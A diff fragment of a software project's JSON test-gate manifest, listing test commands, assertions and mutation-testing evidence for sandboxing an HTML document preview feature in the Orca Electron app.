+      "oracle": "In paired Electron, write an HTML fixture that declares its own title on the host, invoke the Explorer preview action on the client, and require the document text to be readable out of the orca-preview guest before judging any absence. With that presence established, require the client to hold exactly one browser workspace more than its baseline and that workspace to be the document one: page and tab url blank, the document path mirrored onto both, the tab named by the document's title, the chip naming the file, no editor row of the retired preview species anywhere, and the guest URL carrying the orca-preview scheme. Ask the host through its own page registry as well as through the tab snapshot, and in the same run open an ordinary URL browser tab from the same client and require that one to arrive in both — the presence precondition without which “the host gained nothing” is satisfied just as well by an oracle that cannot see browser pages at all. Require the preview to sit in a group other than the source editor's while the active group and tab remain the source editor's. Then click away to the terminal, click the preview tab, require it to reactivate and still render, close it with its own X, and require the document tab to be gone while the host still holds only the URL tab and the source group, source editor and terminal survive. Quit the client with a document tab open and relaunch it on the same profile: require the same workspace row to come back, blank and named by the document, rendering the document again over a grant URL that differs from the one that was quit, with no preview-scheme or document-named page anywhere in what the host holds. Prove the halves are live by flipping one product property at a time and requiring the run to fail: publish document workspaces to the host like ordinary ones, and stop mirroring the document onto the workspace row. Have the fixture document attempt its own egress on every load — an unattended window.open and location.href to an off-machine URL, plus an inline ICE gathering probe — and require the same baseline counts and a candidate count of zero, so the document's own attempts are measured rather than assumed. Then, as a separate phase after the close oracle has already run, bring the client window to the front, press the document's heading with a real mouse event, and require the document to report that the same press drove it to attempt a second window.open and location.href while both browser counts stay at that phase's baseline and nothing routes — the case a recent-input gate cannot distinguish from the press's own effect. Only then press the target=_blank link with a real mouse event and require both a recorded routing call that returned success and a browser count above that baseline, with the preview tab still open. Drive the preload's click policy as a unit oracle over a real document: a dispatched click, a trusted press on an external anchor, an anchor reached through what it wraps, an SVG animated href, a sibling preview link, fragment and percent-encoded fragment targets, a bare hash, and a middle click. Create a browser page located by a workspace document, handing creation a live grant URL, and require its stored url, its mirrored tab url and the written session payload all to be blank with no orca-preview string anywhere in what was written, while an ordinary page created the same way keeps the URL it was given and asks for the address bar the document page never does. Parse the written page and tab through the session schema and require the document to survive both halves. Hydrate them back and require the document page to return blank and still named — including when its page row was salvaged away and only the tab's own copy remains, and when a foreign session carried a grant URL into both rows. Drive the mirror across a page switch out of the document and back, and across a repair in which the document is the only mirrored field that differs. Name a document page from its document and require the tab to take that name, name it with an empty title and require the file, name it with a live grant URL and require the file again with no preview scheme anywhere in the written session, and require an ordinary blank browser tab beside it to still be called New Tab. Dispatch a title update out of a rendered preview's own guest and require it to reach the page state while the identity chip still reads the document's workspace-relative path. Attach a browsing guest and a workspace-document guest through the same method in one run and require the browsing one to take clicked-link routing, popup handling and anti-detection while the document guest takes none of them, stays inside the grant it is showing, denies every window it asks for, and is dropped from the page-keyed document registry by the same teardown that frees its id for a later attach. Register a browsing guest and attach a workspace-document guest in one run against the real manager, require the one door to answer each page with the guest of its own half, and require the document page to be absent from the browsing map and from its enumeration. Drive both browsing registration entry points with a page the document half already holds and require them to register nothing, and drive the mint channel with a page the browsing half already holds and require it to refuse; and drive the offscreen one with a guest that is missing and with one already destroyed, requiring the same refusal. Arm a grab on a live preview target, drive the unregister channel at that same target in the window before the queued operation runs, and require the grab to reach the guest anyway — then drive the same sequence for an ordinary browser page and require its grab state to be disposed after all. Hold one viewport-bridge op open, queue a second behind it, swap the page's guest while that second op waits, and require the injection to land in the guest the page has then. Revoke a grant after a tool has run against its page and require that page's grab state to be cancelled and disposed. Ask a tool for a document page whose guest has not attached, require the request to park in the registration wait, attach the guest, and require the same request to arm on it; require a page nothing ever renders to answer not-ready once that wait elapses. With a document open, ask a tool for a browsing page id and require it to be answered by the browsing half or not at all, with the same channel reaching the document guest under the page it really renders. Drive open-externally for a document whose per-file owner is remote while the workspace-scoped owner is unresolved, for a runtime-owned worktree whose preview tab carries no runtime id of its own, and for a worktree that resolves no runtime owner while the tab still carries one, requiring the download route in each; and for an owner that cannot be resolved at all, and for an unknown workspace root while nothing names another host, requiring a refusal that neither opens nor downloads. Drive the headless backend with a page the document half already holds and require it to reject, destroy the window, and unregister nothing — then shut the backend down and require it still to have unregistered nothing. Navigate a bound preview guest at a second grant through both latch events and require it to stay on the grant it bound to. Mount a preview while a renderer drag is already in flight and require its guest to be click-through at the moment it is appended, not a turn later. Render the editor panel shell in each remaining tab mode and require the path header exactly where the surface does not already name itself. Drive the preview action and require a browser tab located by the document rather than an editor tab, require a second open of the same document to activate the tab it is already in, and require closing that tab to revoke its grant while a URL tab closed beside it revokes none. Hydrate a session carrying preview chrome from a build that made previews editor tabs and require it dropped while the ordinary editor tab for the same document survives. Publish a worktree holding a document tab and a URL tab and require only the URL tab to reach the mobile snapshot. Install the shared partition policies for a preview partition and for an ordinary browsing partition in the same run, fire each one's own will-download listener, and require the preview's to cancel while the browsing one still reaches the download router — then require the preview protocol installer to be what asks for that deny. In the same run, require the cancelled download to raise a reader-facing notice and the routed one to raise none. Drive that notice directly for a guest bound to a live grant, for repeated attempts inside and outside its interval, for two previews at once, and for a contents no preview is bound to; require the guest registry to name the bound grant for a live preview guest and nothing for a contents that is not one, has committed no document, or is gone. Drive the shell with a refusal and require one fixed sentence, still one row after three more refusals, standing beside an asset failure rather than being counted with it, gone behind the failure panel, and ignored when it names another preview's grant. Drive the main-side report gate directly for a sender that is no preview guest, a guest with no bound or a revoked grant, a genuine press Electron's webview focus flag misreports as unfocused, and non-web URLs; drive the reader-facing confirmation for accept, cancel, and a confirmed tab the browser refuses; and drive will-attach-webview in both preload directions. Run the per-owner reader, grant-containment, scheme-admission, guest-policy, and plan-routing contracts as unit oracles, including a host-reported truncation, an over-cap binary, and an out-of-worktree paired path. Drive the reader-facing component with the payloads the reader can actually produce — the entry document fails only as truncated or unreadable, a subresource additionally as a refused format — and require the asset case to leave the guest mounted. Drive the closed-tab cleanup hook, the window installer, and the grant IPC handlers directly, requiring the grant to be released when the preview tab closes, cleared at window creation and on a cross-document main-frame navigation, and refused to any sender that is not the trusted renderer. For the browser creations this gate still owns, run the unchanged contract oracle for direct create and side-preview callers with absent status, unknown capabilities, and a mixed-version host, requiring the original unsupported error or visible toast, zero RPCs, and no retained new split; hold a real navigation response beyond the 15-second client deadline after host creation and require the first RPC to return the exact host inventory page ID, one host page, and no retry; repeat reconciliation faults against headless serve and retain the separate exact-page reconciliation rollback oracle.",
       "commands": [
         "pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/orca-runtime-browser.test.ts src/main/runtime/rpc/methods/browser.test.ts src/renderer/src/lib/file-preview.test.ts src/renderer/src/runtime/web-session-browser-placement.test.ts src/renderer/src/runtime/web-runtime-session.test.ts src/renderer/src/runtime/web-session-tabs-sync.test.ts src/renderer/src/runtime/remote-server-parity.test.ts",
         "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/runtime/web-runtime-browser-materialization.test.ts",
-        "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/runtime/web-runtime-browser-capability-cleanup.test.ts src/renderer/src/lib/file-preview-capability-cleanup.test.ts",
+        "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/runtime/web-runtime-browser-capability-cleanup.test.ts",
+        "pnpm exec vitest run --config config/vitest.config.ts src/main/browser/doc-preview-grant-registry.test.ts src/main/browser/doc-preview-file-reader.test.ts src/main/browser/doc-preview-protocol.test.ts src/main/browser/doc-preview-guest-policy.test.ts src/main/browser/doc-preview-failure-notice.test.ts src/shared/doc-preview-scheme.test.ts src/renderer/src/lib/doc-preview-grants.test.ts src/renderer/src/lib/file-preview.test.ts src/renderer/src/lib/file-preview-action-visibility.test.tsx src/main/window/main-window-webview-security.test.ts src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.failure-message.test.tsx src/renderer/src/components/browser-pane/workspace-doc/doc-preview-external-link-confirmation.test.ts src/renderer/src/components/terminal-pane/terminal-file-link-actions.test.ts",
+        "pnpm exec vitest run --config config/vitest.config.ts src/main/browser/browser-session-partition-policies.test.ts src/main/browser/doc-preview-protocol.test.ts",
+        "pnpm exec vitest run --config config/vitest.config.ts src/main/browser/doc-preview-download-block-notice.test.ts src/main/browser/browser-session-partition-policies.test.ts src/main/browser/doc-preview-guest-policy.test.ts src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.failure-message.test.tsx",
+        "pnpm exec vitest run --config config/vitest.config.ts src/main/browser/browser-manager-guest-policy-profile.test.ts src/main/window/main-window-webview-security.test.ts src/main/browser/doc-preview-guest-policy.test.ts",
+        "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser-workspace-doc-location.test.ts src/renderer/src/lib/file-preview.test.ts",
+        "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser-workspace-doc-location.test.ts src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx src/shared/doc-preview-scheme.test.ts",
+        "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser-workspace-doc-location.test.ts",
+        // The hardening round: the third url door, the group projection, and both directions of the focus handoff.
+        "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser-workspace-doc-location.test.ts src/renderer/src/runtime/sync-runtime-graph-editor-diff-tabs.test.ts src/renderer/src/components/browser-pane/workspace-doc/workspace-doc-page-pane.test.tsx src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx",
+        "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.failure-message.test.tsx",
+        "pnpm exec vitest run --config config/vitest.config.ts src/preload/doc-preview-link-interception.test.ts src/main/browser/doc-preview-guest-policy.test.ts src/main/window/main-window-webview-security.test.ts src/main/ipc/doc-preview-grant-ipc.test.ts",
+        "pnpm exec vitest run --config config/vitest.config.ts src/main/ipc/browser-preview-tool-authorization.test.ts src/main/browser/doc-preview-guest-policy.test.ts src/main/ipc/browser.test.ts",
+        "pnpm exec vitest run --config config/vitest.config.ts src/main/ipc/browser-preview-tool-authorization.test.ts src/main/browser/browser-manager-annotation-bridge.test.ts src/main/browser/browser-manager-guest-lifecycle.test.ts src/shared/doc-preview-scheme.test.ts src/renderer/src/components/browser-pane/workspace-doc/doc-preview-document-actions.test.ts src/renderer/src/components/browser-pane/workspace-doc/use-doc-preview-guest-tools.test.ts src/renderer/src/components/editor/EditorPanelShell.header.test.tsx src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx",
+        "pnpm exec vitest run --config config/vitest.config.ts src/main/ipc/browser-preview-tool-authorization.test.ts src/main/browser/browser-manager-annotation-bridge.test.ts src/main/browser/browser-manager-guest-lifecycle.test.ts src/main/browser/offscreen-browser-backend-lifecycle.test.ts src/main/browser/doc-preview-guest-policy.test.ts src/shared/doc-preview-scheme.test.ts src/renderer/src/components/browser-pane/workspace-doc/doc-preview-document-actions.test.ts src/renderer/src/components/browser-pane/workspace-doc/use-doc-preview-guest-tools.test.ts src/renderer/src/components/editor/EditorPanelShell.header.test.tsx src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx",
+        "pnpm exec vitest run --config config/vitest.config.ts src/main/ipc/doc-preview-grant-ipc.test.ts src/renderer/src/components/terminal-pane/TerminalLinkActionPopover.test.tsx src/renderer/src/runtime/sync-runtime-graph-editor-diff-tabs.test.ts src/renderer/src/store/slices/tabs-hydration.test.ts",
+        "pnpm exec vitest run --config config/vitest.config.ts src/main/ipc/browser-preview-tool-authorization.test.ts src/main/ipc/browser-tab-registration-wait.test.ts src/main/ipc/doc-preview-grant-ipc.test.ts src/main/browser/browser-manager-guest-lifecycle.test.ts src/main/browser/browser-manager-guest-policy-profile.test.ts src/main/browser/browser-manager-annotation-bridge.test.ts src/main/browser/offscreen-browser-backend-lifecycle.test.ts src/main/browser/doc-preview-guest-policy.test.ts src/shared/doc-preview-scheme.test.ts src/renderer/src/components/browser-pane/workspace-doc/use-doc-preview-guest-tools.test.ts src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx",
+        "SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line",
+        "SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line --repeat-each=3",
+        // The changed-spec e2e job's own command, which is the only Linux run this gate has.
+        "npx playwright test --config tests/playwright.config.ts --project=electron-headless tests/e2e/paired-remote-html-preview-local-render.spec.ts --workers=1",
         "pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/orca-runtime-browser.test.ts src/renderer/src/runtime/web-runtime-session.test.ts",
         "pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/orca-runtime.test.ts src/main/runtime/orca-runtime-browser.test.ts src/renderer/src/hooks/useIpcEvents-browser-tab-create.test.ts src/renderer/src/hooks/useIpcEvents-close-routing-browser-pages.test.ts src/renderer/src/hooks/useIpcEvents-close-routing-session-tabs.test.ts src/renderer/src/store/slices/browser.test.ts src/renderer/src/runtime/web-runtime-session.test.ts",
         "SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-browser-create-navigation-deadline.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1",
-        "ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 ORCA_E2E_FORWARD_APP_LOGS=1 pnpm exec playwright test tests/e2e/paired-remote-html-browser-focus.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1",
-        "ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 ORCA_E2E_FORWARD_APP_LOGS=1 pnpm exec playwright test tests/e2e/paired-remote-html-browser-focus.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --repeat-each=3",
-        "SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-browser-focus.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1",
-        "ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-browser-focus.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1",
         "SKIP_BUILD=1 ORCA_E2E_FORCE_HEADFUL=1 ORCA_E2E_FORWARD_APP_LOGS=1 pnpm exec playwright test tests/e2e/paired-browser-creation-reconciliation-failure.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1 --reporter=line",
         "SKIP_BUILD=1 ORCA_E2E_FORCE_HEADFUL=1 ORCA_E2E_FORWARD_APP_LOGS=1 pnpm exec playwright test tests/e2e/paired-browser-creation-reconciliation-failure.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line"
       ],
@@ -2863,7 +2880,6 @@
         "src/main/runtime/orca-runtime-browser.test.ts",
         "src/main/runtime/rpc/methods/browser.test.ts",
         "src/renderer/src/lib/file-preview.test.ts",
-        "src/renderer/src/lib/file-preview-capability-cleanup.test.ts",
         "src/renderer/src/runtime/web-session-browser-placement.test.ts",
         "src/renderer/src/runtime/web-runtime-browser-materialization.test.ts",
         "src/renderer/src/runtime/web-runtime-browser-capability-cleanup.test.ts",
@@ -2874,7 +2890,38 @@
         "src/renderer/src/hooks/useIpcEvents-close-routing-browser-pages.test.ts",
         "src/renderer/src/hooks/useIpcEvents-close-routing-session-tabs.test.ts",
         "src/renderer/src/store/slices/browser.test.ts",
-        "tests/e2e/paired-remote-html-browser-focus.spec.ts",
+        "src/main/browser/doc-preview-grant-registry.test.ts",
+        "src/main/browser/doc-preview-file-reader.test.ts",
+        "src/main/browser/doc-preview-protocol.test.ts",
+        "src/main/browser/browser-session-partition-policies.test.ts",
+        "src/main/browser/doc-preview-download-block-notice.test.ts",
+        "src/main/browser/browser-manager-guest-policy-profile.test.ts",
+        "src/main/browser/doc-preview-guest-policy.test.ts",
+        "src/main/ipc/browser-tab-registration-wait.test.ts",
+        "src/main/browser/doc-preview-failure-notice.test.ts",
+        "src/renderer/src/store/slices/browser-workspace-doc-location.test.ts",
+        "src/preload/doc-preview-link-interception.test.ts",
+        "src/main/window/main-window-webview-security.test.ts",
+        "src/main/ipc/browser-preview-tool-authorization.test.ts",
+        "src/main/browser/browser-manager-annotation-bridge.test.ts",
+        "src/main/browser/browser-manager-guest-lifecycle.test.ts",
+        "src/main/browser/offscreen-browser-backend-lifecycle.test.ts",
+        "src/renderer/src/components/browser-pane/workspace-doc/doc-preview-document-actions.test.ts",
+        "src/renderer/src/components/browser-pane/workspace-doc/use-doc-preview-guest-tools.test.ts",
+        "src/renderer/src/components/editor/EditorPanelShell.header.test.tsx",
+        "src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx",
+        "src/renderer/src/components/browser-pane/workspace-doc/workspace-doc-page-pane.test.tsx",
+        "src/shared/doc-preview-scheme.test.ts",
+        "src/renderer/src/lib/doc-preview-grants.test.ts",
+        "src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.failure-message.test.tsx",
+        "src/renderer/src/lib/file-preview-action-visibility.test.tsx",
+        "src/renderer/src/components/browser-pane/workspace-doc/doc-preview-external-link-confirmation.test.ts",
+        "src/renderer/src/components/terminal-pane/terminal-file-link-actions.test.ts",
+        "src/main/ipc/doc-preview-grant-ipc.test.ts",
+        "src/renderer/src/store/slices/tabs-hydration.test.ts",
+        "src/renderer/src/components/terminal-pane/TerminalLinkActionPopover.test.tsx",
+        "src/renderer/src/runtime/sync-runtime-graph-editor-diff-tabs.test.ts",
+        "tests/e2e/paired-remote-html-preview-local-render.spec.ts",
         "tests/e2e/paired-browser-create-navigation-deadline.spec.ts",
         "tests/e2e/paired-browser-creation-reconciliation-failure.spec.ts"
       ],
@@ -2886,18 +2933,13 @@
             "direct creation removes the caller-declared new split without issuing an RPC"
           ]
         },
-        {
-          "file": "src/renderer/src/lib/file-preview-capability-cleanup.test.ts",
-          "assertions": [
-            "known unavailability reports visibly without creating a split",
-            "capability loss after caller preflight reports visibly without duplicating transaction cleanup"
-          ]
-        },
         {
           "file": "src/renderer/src/lib/file-preview.test.ts",
           "assertions": [
-            "a failed side preview reports visibly without caller-owned split cleanup",
-            "overlapping side previews reuse the split without the first failure deleting it"
+            "a paired-runtime HTML preview opens a local doc preview instead of a runtime browser tab",
+            "a local workspace still opens the embedded browser tab at a file URL",
+            "a paired document outside the worktree names that boundary and creates no split",
+            "an SSH document outside the worktree root still previews"
           ]
         },
         {
@@ -2973,11 +3015,153 @@
           ]
         },
         {
-          "file": "tests/e2e/paired-remote-html-browser-focus.spec.ts",
+          "file": "tests/e2e/paired-remote-html-preview-local-render.spec.ts",
           "assertions": [
-            "one HTML open produces one client workspace, one client unified tab, and one host page",
-            "the source editor and remote frame remain visible in separate groups",
-            "preview creation leaves the editor active, an explicit browser click is authoritative, and close preserves the editor and terminal"
+            "the host's HTML document renders inside the client-local orca-preview guest",
+            "neither the client browser-workspace count nor the host browser-tab count moves off baseline",
+            "the preview opens in its own split with mode html-preview and leaves the source editor active",
+            "an explicit click reactivates the preview, and closing it preserves the source editor, its group, and the terminal",
+            "the document reports having attempted both its unattended and its post-press egress, so neither absence assertion can pass on a document that never tried",
+            "a scripted window.open and location.href driven by a real press elsewhere in the document route nothing and move no browser count",
+            "a real target=_blank press in the rendered document routes out as an Orca browser tab while the preview stays open"
+          ]
+        },
+        {
+          "file": "src/main/browser/doc-preview-file-reader.test.ts",
+          "assertions": [
+            "a host-reported truncated read is refused instead of served as partial bytes",
+            "an over-cap binary and an empty binary body are reported as too-large and unsupported rather than a bare read failure",
+            "a document outside the paired worktree is refused without issuing an RPC",
+            "an SSH path that canonicalizes outside the grant root is refused before any read",
+            "a 0-byte file the host still typed is served as 0 bytes rather than reported as a refused format"
+          ]
+        },
+        {
+          "file": "src/main/browser/doc-preview-grant-registry.test.ts",
+          "assertions": [
+            "a path escaping the grant root resolves to nothing, including sibling-prefix roots",
+            "a revoked grant stops resolving"
+          ]
+        },
+        {
+          "file": "src/main/browser/doc-preview-protocol.test.ts",
+          "assertions": [
+            "an unknown or revoked grant is answered exactly like a missing file, with no read attempted",
+            "a failed read pushes its reason for the requested path while a served document pushes nothing",
+            "every served document carries the self-only content security policy",
+            "the preview session cancels any request that is not in-document",
+            "the scheme is handled on the preview session and never on the default one",
+            "the scheme claims exactly its five privileges, so a widened one fails"
+          ]
+        },
+        {
+          "file": "src/main/browser/doc-preview-failure-notice.test.ts",
+          "assertions": ["413 and 415 map to distinct reasons and everything else stays generic"]
+        },
+        {
+          "file": "src/renderer/src/lib/file-preview-action-visibility.test.tsx",
+          "assertions": [
+            "the Explorer row predicate and the preview plan return one answer for the same file"
+          ]
+        },
+        {
+          "file": "src/renderer/src/components/browser-pane/workspace-doc/doc-preview-external-link-confirmation.test.ts",
+          "assertions": [
+            "an external preview link shows the reader its exact destination and becomes a browser tab only after confirmation",
+            "a declined confirmation opens nothing, and a confirmed tab that is refused or fails outright surfaces instead of being dropped"
+          ]
+        },
+        {
+          "file": "src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.failure-message.test.tsx",
+          "assertions": [
+            "each entry-document failure reason surfaces its own sentence instead of one generic unavailable panel",
+            "a refused subresource names itself in a notice, deduplicated per path, while the document stays rendered",
+            "an entry-document failure replaces the asset notice with the panel",
+            "a failure for another preview's grant leaves the rendered document alone"
+          ]
+        },
+        {
+          "file": "src/main/browser/doc-preview-guest-policy.test.ts",
+          "assertions": [
+            "the guest may only navigate within its own live grant, and not at all until a document has bound it to one",
+            "every navigation and popup sink refuses without routing, whenever genuine input happened",
+            "a subframe cannot navigate outside the grant, and only the main frame binds the guest to one",
+            "a reported click routes exactly once, and only from a live preview guest with a bound grant — including when Electron's webview focus flag reads false for a genuine press",
+            "a reported click on a non-web URL, or from a destroyed guest, routes nothing",
+            "the guest is denied non-proxied WebRTC UDP when its policy is installed"
+          ]
+        },
+        {
+          "file": "src/preload/doc-preview-link-interception.test.ts",
+          "assertions": [
+            "a click the document dispatched itself is not trusted and routes nothing",
+            "a trusted press on an external anchor reports it once and stops the navigation, including through what the anchor wraps and an SVG animated href",
+            "a fragment link scrolls in the document, raw or percent-encoded, and a bare hash goes to the top",
+            "a sibling preview document is left to the guest's own navigation, and a middle click opens nothing whether or not it is trusted",
+            "an SVG link is resolved against the document, so its relative, rooted and fragment forms behave exactly like the identical HTML anchor",
+            "the preload reports on exactly the channel main listens on"
+          ]
+        },
+        {
+          "file": "src/main/window/main-window-webview-security.test.ts",
+          "assertions": [
+            "an orca-preview src is admitted only on the preview partition with a live grant",
+            "preview guests receive their own policy instead of the browser guest policies",
+            "a preview attach is pinned to the preview preload over any renderer-supplied value, and a browsing attach never receives it",
+            "grants a renderer can no longer release are cleared at window creation and on reload, and survive an in-document navigation"
+          ]
+        },
+        {
+          "file": "src/shared/doc-preview-scheme.test.ts",
+          "assertions": ["preview URLs round-trip per segment and reject a malformed grant id"]
+        },
+        {
+          "file": "src/renderer/src/lib/doc-preview-grants.test.ts",
+          "assertions": [
+            "grants are deduped per preview tab so a StrictMode double-mount cannot revoke the surviving webview",
+            "a mint that rejects after its tab was released and reopened leaves the reopened tab's grant revocable"
+          ]
+        },
+        {
+          "file": "src/main/ipc/doc-preview-grant-ipc.test.ts",
+          "assertions": [
+            "a sender that is not the trusted renderer mints no grant and revokes none",
+            "a reported link click reaches the guest policy with its own sender, and a non-string report reaches nothing"
+          ]
+        },
+        {
+          "file": "src/renderer/src/store/slices/browser-workspace-doc-location.test.ts",
+          "assertions": [
+            "closing a document browser tab revokes its grant, and closing a URL tab beside it revokes nothing",
+            "a document page's url is blank in the store, in the written session and after restore",
+            "a navigation committing a url onto a document page leaves the url blank, the document title standing and nothing loading, while an ordinary page beside it takes the url it is given"
+          ]
+        },
+        {
+          "file": "src/renderer/src/store/slices/tabs-hydration.test.ts",
+          "assertions": [
+            "chrome for a preview tab written before previews were browser tabs is dropped, and the ordinary editor tab for the same document is kept"
+          ]
+        },
+        {
+          "file": "src/renderer/src/runtime/sync-runtime-graph-editor-diff-tabs.test.ts",
+          "assertions": [
+            "a browser tab located by a workspace document is not published to mobile clients, while an ordinary browser tab beside it is",
+            "with tab groups in play the document is kept out of the published groups too: no group's order, recency or active tab names a tab the snapshot does not carry, the held-back group leaves the published layout tree with it, and the grouped URL tab beside it still publishes"
+          ]
+        },
+        {
+          "file": "src/renderer/src/components/browser-pane/workspace-doc/workspace-doc-page-pane.test.tsx",
+          "assertions": [
+            "the pane offers its guest focus when the reader is in this very preview",
+            "it refuses while the reader is in a terminal in front of it, in a different browser tab, or while its own page is not the active one"
+          ]
+        },
+        {
+          "file": "src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx",
+          "assertions": [
+            "a preview that is the reader's surface hands its guest focus, and one that is not leaves focus alone",
+            "the window taking focus back re-offers it to the guest, and re-offers nothing for a preview that was refusing"
           ]
         },
         {
@@ -2999,22 +3183,301 @@
       ],
       "evidenceRuns": [
         {
-          "date": "2026-08-12",
+          "date": "2026-08-27",
           "runner": "local",
           "platform": "macos",
-          "command": "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/runtime/web-runtime-browser-capability-cleanup.test.ts src/renderer/src/lib/file-preview-capability-cleanup.test.ts",
+          "command": "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser-workspace-doc-location.test.ts src/renderer/src/runtime/sync-runtime-graph-editor-diff-tabs.test.ts src/renderer/src/components/browser-pane/workspace-doc/workspace-doc-page-pane.test.tsx src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx",
           "result": "failed",
-          "durationSeconds": 0.72,
-          "summary": "The unchanged STA-4063 oracle failed 5/5 on scan e4c278eb52 and latest main bc2e30000b: direct create never closed the new split, and side-preview rejection produced neither cleanup nor a toast. Pre-fix PR #14100 passed the two caller cases but still failed all three direct transaction cases."
+          "durationSeconds": 7,
+          "summary": "The adversarial pass answered the request for its own group-projection probe after this round landed, and it had measured a third observable this test was missing: the held-back group also has to leave the published layout tree, or the phone renders a split whose second pane can never hold anything. Adopted as a fourth assertion and re-run against the same sole delta, which now fails on the dangling-reference check and, with that check blinded, on the layout alone — group-left and group-right against the group-right the clean tree publishes. The two probes agreed on everything else, including that the tab list is unchanged under this mutant, which is why an assertion reading only the tab list cannot reach the site at all."
         },
         {
-          "date": "2026-08-12",
+          "date": "2026-08-27",
           "runner": "local",
           "platform": "macos",
-          "command": "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/runtime/web-runtime-browser-capability-cleanup.test.ts src/renderer/src/lib/file-preview-capability-cleanup.test.ts",
+          "command": "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser-workspace-doc-location.test.ts src/renderer/src/runtime/sync-runtime-graph-editor-diff-tabs.test.ts src/renderer/src/components/browser-pane/workspace-doc/workspace-doc-page-pane.test.tsx src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx",
+          "result": "passed",
+          "durationSeconds": 3,
+          "summary": "The adversarial pass's four coverage findings, landed and pinned: 58/58. The third url door now keeps a document page blank and names it by its document, the group projection holds a document back from published groups as well as from the tab list, the pane's focus handoff is pinned in the widening direction as well as the narrowing one, and the handoff is re-offered when the window takes focus back."
+        },
+        {
+          "date": "2026-08-27",
+          "runner": "local",
+          "platform": "macos",
+          "command": "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser-workspace-doc-location.test.ts src/renderer/src/runtime/sync-runtime-graph-editor-diff-tabs.test.ts src/renderer/src/components/browser-pane/workspace-doc/workspace-doc-page-pane.test.tsx src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx",
+          "result": "failed",
+          "durationSeconds": 3,
+          "summary": "Three sole-delta mutants on the third url door, each failing only the new store test: committing the reported url onto a document page, dropping the document from the title normalizer there (which renames the tab New Tab, since a blank url is what that fallback reads), and marking a blank document page loading. The ordinary-page half of the same test passes under all three, so the door is pinned as a document-only refusal rather than as a door that writes nothing."
+        },
+        {
+          "date": "2026-08-27",
+          "runner": "local",
+          "platform": "macos",
+          "command": "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser-workspace-doc-location.test.ts src/renderer/src/runtime/sync-runtime-graph-editor-diff-tabs.test.ts src/renderer/src/components/browser-pane/workspace-doc/workspace-doc-page-pane.test.tsx src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx",
+          "result": "failed",
+          "durationSeconds": 3,
+          "summary": "Two sole-delta mutants on the mobile publish boundary. Dropping the document from the group projection's browser ids fails only the new grouped test — the tab list stays correct because the per-tab guard still refuses the tab, and what breaks is a published group whose order and active tab name a tab the phone is never sent. This is the survivor the adversarial pass reported: it survives the whole suite without this test, because no other test in it has tab groups. Dropping the per-tab guard instead fails only the ungrouped test, so the two halves of the boundary are pinned separately."
+        },
+        {
+          "date": "2026-08-27",
+          "runner": "local",
+          "platform": "macos",
+          "command": "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser-workspace-doc-location.test.ts src/renderer/src/runtime/sync-runtime-graph-editor-diff-tabs.test.ts src/renderer/src/components/browser-pane/workspace-doc/workspace-doc-page-pane.test.tsx src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx",
+          "result": "failed",
+          "durationSeconds": 3,
